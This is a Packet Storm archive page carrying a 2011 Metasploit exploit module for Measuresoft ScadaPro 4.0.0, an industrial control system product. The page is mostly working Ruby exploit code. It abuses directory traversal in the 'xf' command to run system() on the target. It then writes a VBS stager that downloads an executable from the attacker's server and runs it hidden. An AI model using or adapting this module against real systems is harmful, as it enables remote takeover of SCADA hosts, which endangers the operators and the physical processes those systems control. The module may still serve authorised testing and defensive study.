exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Measuresoft ScadaPro 4.0.0 Remote Command Execution

Measuresoft ScadaPro 4.0.0 Remote Command Execution
Posted Sep 17, 2011
Authored by Luigi Auriemma, mr_me, TecR0c | Site metasploit.com

This Metasploit module allows remote attackers to execute arbitrary commands on the affected system by abusing a directory traversal attack when using the 'xf' command (execute function). An attacker can execute system() from msvcrt.dll to upload a backdoor and gain remote code execution.

tags | exploit, remote, arbitrary, code execution
SHA-256 | 802baf0283f3035901e556177c67bc14ff8b62fa5e4ccd9e691b0fd5740792be

Measuresoft ScadaPro 4.0.0 Remote Command Execution

Change Mirror Download
##
# $Id: scadapro_cmdexe.rb 13737 2011-09-16 08:23:59Z sinn3r $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# https://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::EXE

def initialize(info = {})
super(update_info(info,
'Name' => 'Measuresoft ScadaPro <= 4.0.0 Remote Command Execution',
'Description' => %q{
This module allows remote attackers to execute arbitray commands on
the affected system by abusing via Directory Traversal attack when using the 'xf'
command (execute function). An attacker can execute system() from msvcrt.dll to
upload a backdoor and gain remote code execution.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Luigi Auriemma', # Initial discovery/poc
'mr_me <steventhomasseeley[at]gmail.com>', # msf
'TecR0c <tecr0c[at]tecninja.net>', # msf
],
'Version' => '$Revision: 13737 $',
'References' =>
[
#[ 'CVE', '?'],
#[ 'OSVDB', '?'],
[ 'BID', '49613'],
[ 'URL', 'https://aluigi.altervista.org/adv/scadapro_1-adv.txt'],
[ 'URL', 'https://us-cert.gov/control_systems/pdf/ICS-ALERT-11-256-04.pdf'],
# seemed pretty accurate to us ;)
[ 'URL', 'https://www.measuresoft.net/news/post/Inaccurate-Reports-of-Measuresoft-ScadaPro-400-Vulnerability.aspx'],
],
'DefaultOptions' =>
{
'InitialAutoRunScript' => 'migrate -f',
},
'Platform' => 'win',
'Targets' =>
[
# truly universal
[ 'Automatic', { } ],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Sep 16 2011'))

register_options(
[
Opt::RPORT(11234),
OptString.new('URIPATH', [ true, "The URI to use.", "/" ]),
], self.class)
end

# couldn't generate a vbs or exe payload and then use the wF command
# as there is a limit to the amount of data to write to disk.
# so we just write out a vbs script like the old days.

def build_vbs(url, stager_name)
name_xmlhttp = rand_text_alpha(2)
name_adodb = rand_text_alpha(2)

tmp = "#{@temp_folder}/#{stager_name}"

vbs = "echo Set #{name_xmlhttp} = CreateObject(\"Microsoft.XMLHTTP\") "
vbs << ": #{name_xmlhttp}.open \"GET\",\"https://#{url}\",False : #{name_xmlhttp}.send"
vbs << ": Set #{name_adodb} = CreateObject(\"ADODB.Stream\") "
vbs << ": #{name_adodb}.Open : #{name_adodb}.Type=1 "
vbs << ": #{name_adodb}.Write #{name_xmlhttp}.responseBody "
vbs << ": #{name_adodb}.SaveToFile \"#{@temp_folder}/#{@payload_name}.exe\",2 "
vbs << ": CreateObject(\"WScript.Shell\").Run \"#{@temp_folder}/#{@payload_name}.exe\",0 >> #{tmp}"

return vbs
end

def on_request_uri(cli, request)
if request.uri =~ /\.exe/
print_status("Sending 2nd stage payload to #{cli.peerhost}:#{cli.peerport}...")
return if ((p=regenerate_payload(cli)) == nil)
data = generate_payload_exe( {:code=>p.encoded} )
send_response(cli, data, {'Content-Type' => 'application/octet-stream'} )
return
end
end

def exploit
# In order to save binary data to the file system the payload is written to a .vbs
# file and execute it from there.
@payload_name = rand_text_alpha(4)
@temp_folder = "C:/Windows/Temp"

if datastore['SRVHOST'] == '0.0.0.0'
lhost = Rex::Socket.source_address('50.50.50.50')
else
lhost = datastore['SRVHOST']
end

payload_src = lhost
payload_src << ":" << datastore['SRVPORT'] << datastore['URIPATH'] << @payload_name << ".exe"

stager_name = rand_text_alpha(6) + ".vbs"
stager = build_vbs(payload_src, stager_name)

path = "..\\..\\..\\..\\..\\windows\\system32"

createvbs = "xf%#{path}\\msvcrt.dll,system,cmd /c #{stager}\r\n"
download_execute = "xf%#{path}\\msvcrt.dll,system,start #{@temp_folder}/#{stager_name}\r\n"

print_status("Sending 1st stage payload...")

connect
sock.get_once()
sock.put(createvbs)
sock.get_once()
sock.put(download_execute)
handler()
disconnect

super
end

end
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    0 Files
  • 12
    Nov 12th
    0 Files
  • 13
    Nov 13th
    0 Files
  • 14
    Nov 14th
    0 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close